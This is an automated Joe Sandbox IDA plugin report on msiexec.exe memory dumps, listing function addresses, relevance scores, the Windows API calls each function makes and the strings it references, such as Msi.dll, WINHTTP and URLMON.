Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100014395, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63librarysleep

APIs

Sleep.KERNEL32 ref: 00000001000143C2
GetModuleHandleW.KERNEL32 ref: 00000001000143F3
LoadLibraryW.KERNEL32 ref: 0000000100014405

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

GetProcAddress.KERNEL32 ref: 000000010001443D

Strings

GetCORSystemDirectory, xrefs: 0000000100014436
MSCOREE, xrefs: 00000001000143EC, 00000001000143F9

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100005350, Relevance: 10.6, APIs: 7, Instructions: 61

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00000001000053C2
GetLastError.KERNEL32 ref: 00000001000053CC
GetLengthSid.ADVAPI32 ref: 00000001000053D9
FreeSid.ADVAPI32 ref: 00000001000053F0
GetLengthSid.ADVAPI32 ref: 00000001000053FD
memcpy.MSVCRT ref: 0000000100005415
FreeSid.ADVAPI32 ref: 000000010000542E

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000AA0C, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 25library

APIs

LoadLibraryW.KERNEL32 ref: 000000010000AA19
GetProcAddress.KERNEL32 ref: 000000010000AA31
FreeLibrary.KERNEL32 ref: 000000010000AA45
FreeLibrary.KERNEL32 ref: 000000010000AA52

Strings

QueryInstanceCount, xrefs: 000000010000AA27
Msi.dll, xrefs: 000000010000AA12

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000AA68, Relevance: 9.1, APIs: 6, Instructions: 104registrystring

APIs

GetModuleFileNameW.KERNEL32 ref: 000000010000AAAF
GetLastError.KERNEL32 ref: 000000010000AAB9

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

RegCreateKeyExW.ADVAPI32 ref: 000000010000AB9A
lstrlenW.KERNEL32 ref: 000000010000ABCD
RegSetValueExW.ADVAPI32 ref: 000000010000ABF5
RegCloseKey.ADVAPI32 ref: 000000010000AC0C

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100008718, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 144string

APIs

lstrcmpW.KERNEL32 ref: 0000000100008885
lstrcmpW.KERNEL32 ref: 0000000100008899
lstrcmpW.KERNEL32 ref: 00000001000088AD
#169.MSI ref: 00000001000088D4

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

mewuifsoarpcvxgh!, xrefs: 0000000100008755

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100009804, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 117

APIs

#141.MSI ref: 0000000100009841
#240.MSI ref: 00000001000098DE
#175.MSI ref: 0000000100009953
GlobalFree.KERNEL32 ref: 000000010000998B

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Part of subcall function 0000000100007688: lstrlenW.KERNEL32 ref: 0000000100007707
Part of subcall function 0000000100007688: lstrlenW.KERNEL32 ref: 0000000100007712
Part of subcall function 0000000100007688: GlobalAlloc.KERNEL32 ref: 0000000100007729
Part of subcall function 0000000100007688: GlobalFree.KERNEL32 ref: 0000000100007749
Part of subcall function 0000000100007688: StringCchCopyW.MUILOAD ref: 000000010000775F

Strings

.msp, xrefs: 000000010000990F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100008D7C, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81

APIs

#141.MSI ref: 0000000100008DBC
#228.MSI ref: 0000000100008E0B
#228.MSI ref: 0000000100008E6A
GlobalFree.KERNEL32 ref: 0000000100008E80

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Part of subcall function 0000000100007688: lstrlenW.KERNEL32 ref: 0000000100007707
Part of subcall function 0000000100007688: lstrlenW.KERNEL32 ref: 0000000100007712
Part of subcall function 0000000100007688: GlobalAlloc.KERNEL32 ref: 0000000100007729
Part of subcall function 0000000100007688: GlobalFree.KERNEL32 ref: 0000000100007749
Part of subcall function 0000000100007688: StringCchCopyW.MUILOAD ref: 000000010000775F

Strings

.msi, xrefs: 0000000100008E21

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100016AC0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73stringlibrary

APIs

memset.MSVCRT ref: 0000000100016B00
lstrlenW.KERNEL32 ref: 0000000100016B15
GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

.DLL, xrefs: 0000000100016B77

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100007248, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 56library

APIs

LoadLibraryW.KERNEL32 ref: 000000010000726D
GetProcAddress.KERNEL32 ref: 0000000100007289

Strings

@dw, xrefs: 000000010000726D
DllGetClassObject, xrefs: 000000010000727F
Msi.dll, xrefs: 0000000100007266

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010000714C, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56

APIs

EnterCriticalSection.KERNEL32 ref: 000000010000716F
SetServiceStatus.ADVAPI32 ref: 00000001000071FA
GetLastError.KERNEL32 ref: 0000000100007206

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

Part of subcall function 000000010000AA0C: LoadLibraryW.KERNEL32 ref: 000000010000AA19
Part of subcall function 000000010000AA0C: GetProcAddress.KERNEL32 ref: 000000010000AA31
Part of subcall function 000000010000AA0C: FreeLibrary.KERNEL32 ref: 000000010000AA45
Part of subcall function 000000010000AA0C: FreeLibrary.KERNEL32 ref: 000000010000AA52

LeaveCriticalSection.KERNEL32 ref: 0000000100007223

Strings

SetServiceStatus failed., xrefs: 000000010000720C

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100014EF0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100014F15
LoadLibraryW.KERNEL32 ref: 0000000100014F4A
GetProcAddress.KERNEL32 ref: 0000000100014F78

Strings

@dw, xrefs: 0000000100014F4A
WINHTTP, xrefs: 0000000100014F43

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 0000000100016CC8, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29library

APIs

memset.MSVCRT ref: 0000000100016CF1
GetVersionExW.KERNEL32 ref: 0000000100016D03
LoadLibraryW.KERNEL32 ref: 0000000100016D27

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

@dw, xrefs: 0000000100016D27
COMCTL32, xrefs: 0000000100016D20, 0000000100016D2F

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010000B620, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22library

APIs

GetVersion.KERNEL32 ref: 000000010000B624
GetModuleHandleW.KERNEL32 ref: 000000010000B63B
GetProcAddress.KERNEL32 ref: 000000010000B650

Strings

HeapSetInformation, xrefs: 000000010000B646
Kernel32.dll, xrefs: 000000010000B634

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100007688, Relevance: 7.6, APIs: 5, Instructions: 84string

APIs

lstrlenW.KERNEL32 ref: 0000000100007707
lstrlenW.KERNEL32 ref: 0000000100007712
GlobalAlloc.KERNEL32 ref: 0000000100007729
GlobalFree.KERNEL32 ref: 0000000100007749
StringCchCopyW.MUILOAD ref: 000000010000775F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000125E4, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100012619
GetProcAddress.KERNEL32 ref: 000000010001267F

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

URLMON, xrefs: 0000000100012647
URLDownloadToCacheFileW, xrefs: 0000000100012675

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000135D4, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65librarysleep

APIs

Sleep.KERNEL32 ref: 000000010001360F
GetProcAddress.KERNEL32 ref: 0000000100013673

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

CSCDLL, xrefs: 000000010001363A
CSCQueryFileStatusW, xrefs: 0000000100013669

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000FD6C, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 63librarysleep

APIs

Sleep.KERNEL32 ref: 000000010000FDA2
GetProcAddress.KERNEL32 ref: 000000010000FE08

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

OLEAUT32, xrefs: 000000010000FDD0
UnRegisterTypeLib, xrefs: 000000010000FDFE

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100008C88, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59

APIs

#141.MSI ref: 0000000100008CCA
#70.MSI ref: 0000000100008CFB

Part of subcall function 0000000100009D48: #148.MSI ref: 0000000100009E28
Part of subcall function 0000000100009D48: #148.MSI ref: 0000000100009E68
Part of subcall function 0000000100009D48: #148.MSI ref: 0000000100009EAC
Part of subcall function 0000000100009D48: WideCharToMultiByte.KERNEL32 ref: 0000000100009EDC
Part of subcall function 0000000100009D48: #8.MSI ref: 0000000100009EEA

#190.MSI ref: 0000000100008D2C

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Part of subcall function 0000000100009EFC: LoadLibraryExW.KERNEL32 ref: 0000000100009F4B
Part of subcall function 0000000100009EFC: GetProcAddress.KERNEL32 ref: 0000000100009F67
Part of subcall function 0000000100009EFC: GetSystemDefaultLangID.KERNEL32 ref: 0000000100009FBD
Part of subcall function 0000000100009EFC: memset.MSVCRT ref: 000000010000A004
Part of subcall function 0000000100009EFC: FormatMessageW.KERNEL32 ref: 000000010000A02E
Part of subcall function 0000000100009EFC: WideCharToMultiByte.KERNEL32 ref: 000000010000A066
Part of subcall function 0000000100009EFC: FreeLibrary.KERNEL32 ref: 000000010000A0D8

Strings

LocalPackage, xrefs: 0000000100008CE4

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100007248, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56library

APIs

LoadLibraryW.KERNEL32 ref: 000000010000726D
GetProcAddress.KERNEL32 ref: 0000000100007289

Strings

Msi.dll, xrefs: 0000000100007266
DllGetClassObject, xrefs: 000000010000727F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100014D34, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100014D59
GetProcAddress.KERNEL32 ref: 0000000100014DBF

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

I_RpcBindingInqLocalClientPID, xrefs: 0000000100014DB5
RPCRT4, xrefs: 0000000100014D87

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100014E14, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100014E38
GetProcAddress.KERNEL32 ref: 0000000100014E9E

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

ReportFault, xrefs: 0000000100014E94
FAULTREP, xrefs: 0000000100014E66

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000167FC, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100016821
GetProcAddress.KERNEL32 ref: 0000000100016887

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

PSGetPropertyKeyFromName, xrefs: 000000010001687D
PROPSYS, xrefs: 000000010001684F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100014B80, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100014BA3
GetProcAddress.KERNEL32 ref: 0000000100014C07

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

RecordShutdownReason, xrefs: 0000000100014BFD
USER32, xrefs: 0000000100014BCE

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100012514, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100012537
GetProcAddress.KERNEL32 ref: 000000010001259B

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

DeleteUrlCacheEntryW, xrefs: 0000000100012591
WININET, xrefs: 0000000100012562

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000168DC, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49librarysleep

APIs

Sleep.KERNEL32 ref: 00000001000168F9
GetProcAddress.KERNEL32 ref: 000000010001695F

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

KERNELBASE, xrefs: 0000000100016927
NotifyRedirectedStringChange, xrefs: 0000000100016955

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100015C4C, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100015C6A
GetProcAddress.KERNEL32 ref: 0000000100015CD0

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

SdbReleaseDatabase, xrefs: 0000000100015CC6
APPHELP, xrefs: 0000000100015C98

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

